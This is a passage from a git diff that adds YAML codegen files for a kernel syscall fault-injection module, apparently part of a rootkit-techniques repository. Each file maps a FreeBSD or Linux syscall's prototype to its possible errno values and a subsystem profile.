@@ +proto: struct thread *td, struct setgroups_args *uap +parms: td, uap +errors: + - EPERM + - EINVAL + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setitimer.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setitimer.yml new file mode 100644 index 0000000..6508865 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setitimer.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct setitimer_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setlogin.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setlogin.yml new file mode 100644 index 0000000..4b7c2c7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setlogin.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct setlogin_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ERANGE diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setloginclass.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setloginclass.yml new file mode 100644 index 0000000..2107e14 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setloginclass.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct setloginclass_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EPERM + - ENAMETOOLONG diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpgid.yml new file mode 100644 index 0000000..55c4530 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpgid.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct setpgid_args *uap +parms: td, uap +errors: + - EINVAL + - ESRCH + - ESRCH + - EACCES + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpriority.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpriority.yml new file mode 100644 index 0000000..ea9bdca --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setpriority.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct setpriority_args *uap +parms: td, uap +errors: + - ESRCH + - EINVAL + - EPERM + - EACCES +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setregid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setregid.yml new file mode 100644 index 0000000..e273688 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setregid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setregid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresgid.yml new file mode 100644 index 0000000..6c3048c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresgid.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct setresgid_args *uap +parms: td, uap +errors: + - EPERM + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresuid.yml new file mode 100644 index 0000000..52aae72 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setresuid.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct setresuid_args *uap +parms: td, uap +errors: + - EPERM + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setreuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setreuid.yml new file mode 100644 index 0000000..c21e7b3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setreuid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setreuid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsid.yml new file mode 100644 index 0000000..dea4f50 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setsid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsockopt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsockopt.yml new file mode 100644 index 0000000..348ffff --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setsockopt.yml @@ -0,0 +1,11 @@ +proto: struct thread *td, struct setsockopt_args *uap +parms: td, uap +errors: + - EBADF + - ENOTSOCK + - ENOPROTOOPT + - EFAULT + - EINVAL + - ENOMEM +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/settimeofday.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/settimeofday.yml new file mode 100644 index 0000000..6c51f05 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/settimeofday.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct settimeofday_args *uap +parms: td, uap +errors: + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setuid.yml new file mode 100644 index 0000000..053a226 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/setuid.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct setuid_args *uap +parms: td, uap +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_open.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_open.yml new file mode 100644 index 0000000..fe0df32 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_open.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct shm_open_args *uap +parms: td, uap +errors: + - EMFILE + - ENFILE + - EINVAL + - EFAULT + - ENAMETOOLONG + - EINVAL + - ENOENT + - EEXIST + - EACCES +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_unlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_unlink.yml new file mode 100644 index 0000000..ea3d546 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shm_unlink.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct shm_unlink_args *uap +parms: td, uap +errors: + - EFAULT + - ENAMETOOLONG + - ENOENT + - EACCES +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmat.yml new file mode 100644 index 0000000..248b0aa --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmat.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct shmat_args *uap +parms: td, uap +errors: + - EINVAL + - EMFILE +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmctl.yml new file mode 100644 index 0000000..30080df --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmctl.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct shmctl_args *uap +parms: td, uap +errors: + - EINVAL + - EPERM + - EACCES +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmdt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmdt.yml new file mode 100644 index 0000000..ada1b97 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmdt.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct shmdt_args *uap +parms: td, uap +errors: + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmget.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmget.yml new file mode 100644 index 0000000..e25a843 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shmget.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct shmget_args *uap +parms: td, uap +errors: + - EINVAL + - ENOENT + - ENOSPC + - EEXIST +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shutdown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shutdown.yml new file mode 100644 index 0000000..9fa3043 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/shutdown.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct shutdown_args *uap +parms: td, uap +errors: + - EBADF + - EINVAL + - ENOTCONN + - ENOTSOCK diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaction.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaction.yml new file mode 100644 index 0000000..1046b4d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaction.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct sigaction_args *uap +parms: td, uap +errors: + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaltstack.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaltstack.yml new file mode 100644 index 0000000..3a9616c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigaltstack.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sigaltstack_args *uap +parms: td, uap +errors: + - EFAULT + - EPERM + - EINVAL + - ENOMEM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigpending.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigpending.yml new file mode 100644 index 0000000..b6ad63f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigpending.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct sigpending_args *uap +parms: td, uap +errors: + - EFAULT diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigprocmask.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigprocmask.yml new file mode 100644 index 0000000..5cf8690 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigprocmask.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct sigprocmask_args *uap +parms: td, uap +errors: + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigqueue.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigqueue.yml new file mode 100644 index 0000000..6d1f71f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigqueue.yml @@ -0,0 +1,7 @@ +proto: struct thread *td, struct sigqueue_args *uap +parms: td, uap +errors: + - EAGAIN + - EINVAL + - EPERM + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigreturn.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigreturn.yml new file mode 100644 index 0000000..27535b3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigreturn.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct sigreturn_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigsuspend.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigsuspend.yml new file mode 100644 index 0000000..6e6d659 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigsuspend.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct sigsuspend_args *uap +parms: td, uap +errors: + - EINTR diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigtimedwait.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigtimedwait.yml new file mode 100644 index 0000000..9d45874 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigtimedwait.yml @@ -0,0 +1,6 @@ +proto: struct thread *td, struct sigtimedwait_args *uap +parms: td, uap +errors: + - EINVAL + - EAGAIN + - EINTR diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwait.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwait.yml new file mode 100644 index 0000000..be7ab1b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwait.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct sigwait_args *uap +parms: td, uap +errors: + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwaitinfo.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwaitinfo.yml new file mode 100644 index 0000000..697b030 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/sigwaitinfo.yml @@ -0,0 +1,4 @@ +proto: struct thread *td, struct sigwaitinfo_args *uap +parms: td, uap +errors: + - EINTR diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socket.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socket.yml new file mode 100644 index 0000000..3aa609e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socket.yml @@ -0,0 +1,13 @@ +proto: struct thread *td, struct socket_args *uap +parms: td, uap +errors: + - EACCES + - EAFNOSUPPORT + - EMFILE + - ENFILE + - ENOBUFS + - EPERM + - EPROTONOSUPPORT + - EPROTOTYPE +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socketpair.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socketpair.yml new file mode 100644 index 0000000..b781839 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/socketpair.yml @@ -0,0 +1,10 @@ +proto: struct thread *td, struct socketpair_args *uap +parms: td, uap +errors: + - EMFILE + - EAFNOSUPPORT + - EPROTONOSUPPORT + - EOPNOTSUPP + - EFAULT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/statfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/statfs.yml new file mode 100644 index 0000000..b73e102 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/statfs.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct statfs_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EFAULT + - EIO +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapoff.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapoff.yml new file mode 100644 index 0000000..eef22e6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapoff.yml @@ -0,0 +1,14 @@ +proto: struct thread *td, struct swapoff_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EFAULT + - EINVAL + - ENOMEM +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapon.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapon.yml new file mode 100644 index 0000000..d3ccb56 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/swapon.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct swapon_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EFAULT + - ENOTBLK + - EBUSY + - ENXIO + - EIO +profiles: + - mem diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlink.yml new file mode 100644 index 0000000..50e0a7b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlink.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct symlink_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EEXIST + - EPERM + - EIO + - EROFS + - ENOSPC + - EDQUOT + - EIO + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlinkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlinkat.yml new file mode 100644 index 0000000..fc7ab58 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/symlinkat.yml @@ -0,0 +1,20 @@ +proto: struct thread *td, struct symlinkat_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EEXIST + - EPERM + - EIO + - EROFS + - ENOSPC + - EDQUOT + - EIO + - EFAULT + - EBADF + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/thr_new.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/thr_new.yml new file mode 100644 index 0000000..4d27444 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/thr_new.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct thr_new_args *uap +parms: td, uap +errors: + - EINVAL + - EPROCLIM + - EFAULT +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/truncate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/truncate.yml new file mode 100644 index 0000000..6300889 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/truncate.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct truncate_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EISDIR + - EROFS + - ETXTBSY + - EFBIG + - EINVAL + - EIO + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/undelete.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/undelete.yml new file mode 100644 index 0000000..a6c794d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/undelete.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct undelete_args *uap +parms: td, uap +errors: + - ENOTDIR + - ENAMETOOLONG + - EEXIST + - ENOENT + - EACCES + - ELOOP + - EPERM + - EINVAL + - EIO + - EROFS + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlink.yml new file mode 100644 index 0000000..e08f102 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlink.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct unlink_args *uap +parms: td, uap +errors: + - ENOTDIR + - EISDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EIO + - EROFS + - EFAULT + - ENOSPC +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlinkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlinkat.yml new file mode 100644 index 0000000..8ef5633 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unlinkat.yml @@ -0,0 +1,21 @@ +proto: struct thread *td, struct unlinkat_args *uap +parms: td, uap +errors: + - ENOTDIR + - EISDIR + - ENAMETOOLONG + - ENOENT + - EACCES + - ELOOP + - EPERM + - EIO + - EROFS + - EFAULT + - ENOSPC + - EBADF + - ENOTEMPTY + - ENOTDIR + - EINVAL + - ENOTDIR +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unmount.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unmount.yml new file mode 100644 index 0000000..54ecf8a --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/unmount.yml @@ -0,0 +1,12 @@ +proto: struct thread *td, struct unmount_args *uap +parms: td, uap +errors: + - EPERM + - ENAMETOOLONG + - EINVAL + - ENOENT + - EBUSY + - EIO + - EFAULT +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utimensat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utimensat.yml new file mode 100644 index 0000000..a58742e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utimensat.yml @@ -0,0 +1,17 @@ +proto: struct thread *td, struct utimensat_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL + - EIO + - EPERM + - EACCES + - EPERM + - EROFS + - EBADF + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utimes.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utimes.yml new file mode 100644 index 0000000..c744e3c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utimes.yml @@ -0,0 +1,15 @@ +proto: struct thread *td, struct utimes_args *uap +parms: td, uap +errors: + - EACCES + - EFAULT + - EINVAL + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utrace.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utrace.yml new file mode 100644 index 0000000..e96a011 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/utrace.yml @@ -0,0 +1,8 @@ +proto: struct thread *td, struct utrace_args *uap +parms: td, uap +errors: + - EINVAL + - ENOMEM + - ENOSYS +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/uuidgen.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/uuidgen.yml new file mode 100644 index 0000000..97765db --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/uuidgen.yml @@ -0,0 +1,5 @@ +proto: struct thread *td, struct uuidgen_args *uap +parms: td, uap +errors: + - EFAULT + - EINVAL diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait4.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait4.yml new file mode 100644 index 0000000..cfc50bc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait4.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct wait4_args *uap +parms: td, uap +errors: + - ECHILD + - EFAULT + - EINTR + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait6.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait6.yml new file mode 100644 index 0000000..8131ded --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/wait6.yml @@ -0,0 +1,9 @@ +proto: struct thread *td, struct wait6_args *uap +parms: td, uap +errors: + - ECHILD + - EFAULT + - EINTR + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/write.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/write.yml new file mode 100644 index 0000000..32462d8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/write.yml @@ -0,0 +1,16 @@ +proto: struct thread *td, struct write_args *uap +parms: td, uap +errors: + - EBADF + - EPIPE + - EFBIG + - EFAULT + - EINVAL + - ENOSPC + - EDQUOT + - EIO + - EINTR + - EAGAIN + - EROFS +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/writev.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/writev.yml new file mode 100644 index 0000000..be724b4 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/freebsd/writev.yml @@ -0,0 +1,18 @@ +proto: struct thread *td, struct writev_args *uap +parms: td, uap +errors: + - EBADF + - EPIPE + - EFBIG + - EFAULT + - EINVAL + - ENOSPC + - EDQUOT + - EIO + - EINTR + - EAGAIN + - EROFS + - EDESTADDRREQ + - ENOBUFS +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/accept.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/accept.yml new file mode 100644 index 0000000..850aa1b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/accept.yml @@ -0,0 +1,24 @@ +proto: int fd, struct sockaddr __user *upeer_sockaddr, int __user *upeer_addrlen +parms: fd, upeer_sockaddr, upeer_addrlen +errors: + - EBADF + - ECONNABORTED + - EFAULT +unlikely_errors: + - EAGAIN + - EWOULDBLOCK + - EBADF + - ECONNABORTED + - EFAULT + - EINTR + - EINVAL + - EMFILE + - ENFILE + - ENOBUFS + - ENOMEM + - ENOTSOCK + - EOPNOTSUPP + - EPROTO + - EPERM +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/access.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/access.yml new file mode 100644 index 0000000..d575d75 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/access.yml @@ -0,0 +1,16 @@ +proto: const char __user *filename, int mode +parms: filename, mode +errors: + - EACCES + - ELOOP + 